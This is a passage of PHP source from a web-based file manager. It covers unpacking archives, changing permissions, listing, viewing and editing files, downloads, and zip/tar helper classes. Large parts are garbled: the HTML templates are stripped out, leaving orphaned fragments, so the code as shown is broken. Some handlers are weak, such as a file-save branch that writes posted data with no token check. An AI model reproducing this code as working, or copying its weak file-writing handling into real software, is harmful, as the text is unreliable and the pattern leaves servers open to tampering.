fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Unpack zip, tar if (isset($_POST['unzip'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $unzip = urldecode($_POST['unzip']); $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($unzip != '' && is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg(lng('File not found'), 'error'); } if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if ($isValid) { //to folder $tofolder = ''; if (isset($_POST['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } if($ext == "zip") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "tar") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path,null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { //TODO:: need to handle the error $res = true; } } if ($res) { fm_set_msg(lng('Archive unpacked')); } else { fm_set_msg(lng('Archive not unpacked'), 'error'); } } else { fm_set_msg(lng('File not found'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Change Perms (not for Windows) if (isset($_POST['chmod'], $_POST['token']) && !FM_READONLY && !FM_IS_WIN) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg(lng('Permissions changed')); } else { fm_set_msg(lng('Permissions not changed'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } /*************************** ACTIONS ***************************/ // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } // get parent folder $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); $current_path = array_slice(explode("/",$path), -1)[0]; if (is_array($objects) && fm_is_exclude_items($current_path)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (@is_file($new_path) && fm_is_exclude_items($file)) { $files[] = $file; } elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file)) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } // upload form if (isset($_GET['upload']) && !FM_READONLY) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path //get the allowed file extensions function getUploadExt() { $extArr = explode(',', FM_UPLOAD_EXTENSION); if(FM_UPLOAD_EXTENSION && $extArr) { array_walk($extArr, function(&$x) {$x = ".$x";}); return implode(',', $extArr); } return ''; } ?>
    ' . PHP_EOL; } ?>

    : , ', $copy_files) ?>

    :
    /

     

    Copying

    Source path:
    Destination folder:

    Copy   Move   Cancel

    />
    />
    />

    ""

    :
    File size:
    MIME-type:
    :
    :
    :
    : %
    '.lng('Image size').': ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '
    '; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo ''.lng('Charset').': ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
    '; } ?>

     
     
         
    '; } else if($online_viewer == 'microsoft') { echo ''; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo ''; foreach ($filenames as $fn) { if ($fn['folder']) { echo '' . fm_enc($fn['name']) . '
    '; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
    '; } } echo '
    '; } else { echo '

    '.lng('Error while fetching archive info').'

    '; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) { echo '

    '; } } elseif ($is_audio) { // Audio content echo '

    '; } elseif ($is_video) { // Video content echo '
    '; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '
    ' . fm_enc($content) . '
    '; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '
    ' . fm_enc($content) . '
    '; } echo $content; } ?>
    '. $file. ''; header('X-XSS-Protection:0'); fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; // normal editer $isNormalEditor = true; if (isset($_GET['env'])) { if ($_GET['env'] == "ace") { $isNormalEditor = false; } } // Save File if (isset($_POST['savedata'])) { $writedata = $_POST['savedata']; $fd = fopen($file_path, "w"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg(lng('File Saved Successfully')); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; // for text if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?>
    ' . htmlspecialchars($content) . ''; echo ''; } elseif ($is_text) { echo '
    ' . htmlspecialchars($content) . '
    '; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?>

    :

     

    '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?>
    ..
    >
    ' . readlink($path . '/' . $f) . '' : '') ?>
    ">
    >
    ' . readlink($path . '/' . $f) . '' : '') ?>
    ">
    '.fm_get_filesize($all_files_size).'' ?> '.$num_files.'' ?> '.$num_folders.'' ?>
    "; return; } echo "$external[$key]"; } /** * Verify CSRF TOKEN and remove after certified * @param string $token * @return bool */ function verifyToken($token) { if (hash_equals($_SESSION['token'], $token)) { return true; } return false; } /** * Delete file or folder (recursively) * @param string $path * @return bool */ function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return ($ok) ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } /** * Recursive chmod * @param string $path * @param int $filemode * @param int $dirmode * @return bool * @todo Will use in mass chmod */ function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } /** * Check the file extension which is allowed or not * @param string $filename * @return bool */ function fm_is_valid_ext($filename) { $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; return ($isFileAllowed) ? true : false; } /** * Safely rename * @param string $old * @param string $new * @return bool|null */ function fm_rename($old, $new) { $isFileAllowed = fm_is_valid_ext($new); if(!is_dir($old)) { if (!$isFileAllowed) return false; } return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null; } /** * Copy file or folder (recursively). * @param string $path * @param string $dest * @param bool $upd Update files * @param bool $force Create folder with same names instead file * @return bool */ function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } /** * Safely create folder * @param string $dir * @param bool $force * @return bool */ function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } /** * Safely copy file * @param string $f1 * @param string $f2 * @param bool $upd Indicates if file should be updated with new content * @return bool */ function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 && $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } /** * Get mime type * @param string $file_path * @return mixed|string */ function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } /** * HTTP Redirect * @param string $url * @param int $code */ function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } /** * Path traversal prevention and clean the url * It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine. * @param $path * @return string */ function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } /** * Clean path * @param string $path * @return string */ function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } /** * Get parent path * @param string $path * @return bool|string */ function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } function fm_get_display_path($file_path) { global $path_display_mode, $root_path, $root_url; switch ($path_display_mode) { case 'relative': return array( 'label' => 'Path', 'path' => fm_enc(fm_convert_win(str_replace($root_path, '', $file_path))) ); case 'host': $relative_path = str_replace($root_path, '', $file_path); return array( 'label' => 'Host Path', 'path' => fm_enc(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/'))) ); case 'full': default: return array( 'label' => 'Full Path', 'path' => fm_enc(fm_convert_win($file_path)) ); } } /** * Check file is in exclude list * @param string $file * @return bool */ function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { $exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) && !in_array("*.$ext", $exclude_items)) { return true; } return false; } /** * get language translations from json file * @param int $tr * @return array */ function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } /** * @param string $file * Recover all file sizes larger than > 2GB. * Works on php 32bits and 64bits and supports linux * @return int|string */ function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) && ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin && class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } /** * Get nice filesize * @param int $size * @return string */ function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = ($size > 0) ? floor(log($size, 1024)) : 0; $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } /** * Get total size of directory tree. * * @param string $directory Relative or absolute directory name. * @return int Total number of bytes. */ function fm_get_directorysize($directory) { $bytes = 0; $directory = realpath($directory); if ($directory !== false && $directory != '' && file_exists($directory)){ foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){ $bytes += $file->getSize(); } } return $bytes; } /** * Get info about zip archive * @param string $path * @return array|bool */ function fm_get_zif_info($path, $ext) { if ($ext == 'zip' && function_exists('zip_open')) { $arch = @zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = @zip_read($arch)) { $zip_name = @zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => @zip_entry_filesize($zip_entry), 'compressed_size' => @zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder //'compression_method' => zip_entry_compressionmethod($zip_entry), ); } @zip_close($arch); return $filenames; } } elseif($ext == 'tar' && class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("phar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } /** * Encode html entities * @param string $text * @return string */ function fm_enc($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } /** * Prevent XSS attacks * @param string $text * @return string */ function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } /** * Save message in session * @param string $msg * @param string $status */ function fm_set_msg($msg, $status = 'ok') { $_SESSION[FM_SESSION_ID]['message'] = $msg; $_SESSION[FM_SESSION_ID]['status'] = $status; } /** * Check if string is in UTF-8 * @param string $string * @return int */ function fm_is_utf8($string) { return preg_match('//u', $string); } /** * Convert file name to UTF-8 in Windows * @param string $filename * @return string */ function fm_convert_win($filename) { if (FM_IS_WIN && function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } /** * @param $obj * @return array */ function fm_object_to_array($obj) { if (!is_object($obj) && !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } /** * Get CSS classname for file * @param string $path * @return string */ function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'ts': case 'jsx': case 'tsx': case 'hbs': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': case 'ps1': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': case 'yaml': case 'yml': case 'toml': case 'tmp': case 'top': case 'bot': case 'dat': case 'bak': case 'htpasswd': case 'pl': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'tbz2': case 'tbz': case 'zip': case 'rar': case 'gz': case 'tgz': case 'tar': case '7z': case 'xz': case 'txz': case 'zst': case 'tzst': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': case 'webm': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } /** * Get image files extensions * @return array */ function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } /** * Get video files extensions * @return array */ function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } /** * Get audio files extensions * @return array */ function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } /** * Get text file extensions * @return array */ function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift', 'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml', 'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars', 'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl', 'ps1' ); } /** * Get mime types of text files * @return array */ function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', 'application/json', ); } /** * Get file names of text files w/o extensions * @return array */ function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } /** * Get online docs viewer supported files extensions * @return array */ function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } /** * It returns the mime type of a file based on its extension. * @param extension The file extension of the file you want to get the mime type for. * @return string|string[] The mime type of the file. */ function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if(empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } /** * This function scans the files and folder recursively, and return matching files * @param string $dir * @param string $filter * @return array|null */ function scan($dir = '', $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($path) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } /** * Parameters: downloadFile(File Location, File Name, * max speed, is streaming * If streaming - videos will show as videos, images as images * instead of download prompt * https://stackoverflow.com/a/13821992/1164642 */ function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); if(is_array($contentType)) { $contentType = implode(' ', $contentType); } $size = filesize($fileLocation); if ($size == 0) { fm_set_msg(lng('Zero byte file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); if ($fp === false) { fm_set_msg(lng('Cannot open file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } // headers header('Content-Description: File Transfer'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header("Content-Transfer-Encoding: binary"); header("Content-Type: $contentType"); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } $fileLocation = realpath($fileLocation); while (ob_get_level()) ob_end_clean(); readfile($fileLocation); fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } /** * If the theme is dark, return the text-white and bg-dark classes. * @return string the value of the variable. */ function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } /** * Class to work with zip files (using ZipArchive) */ class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } /** * Class to work with Tar files (using PharData) */ class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } /** * Save Configuration */ class FM_Config { var $data; function 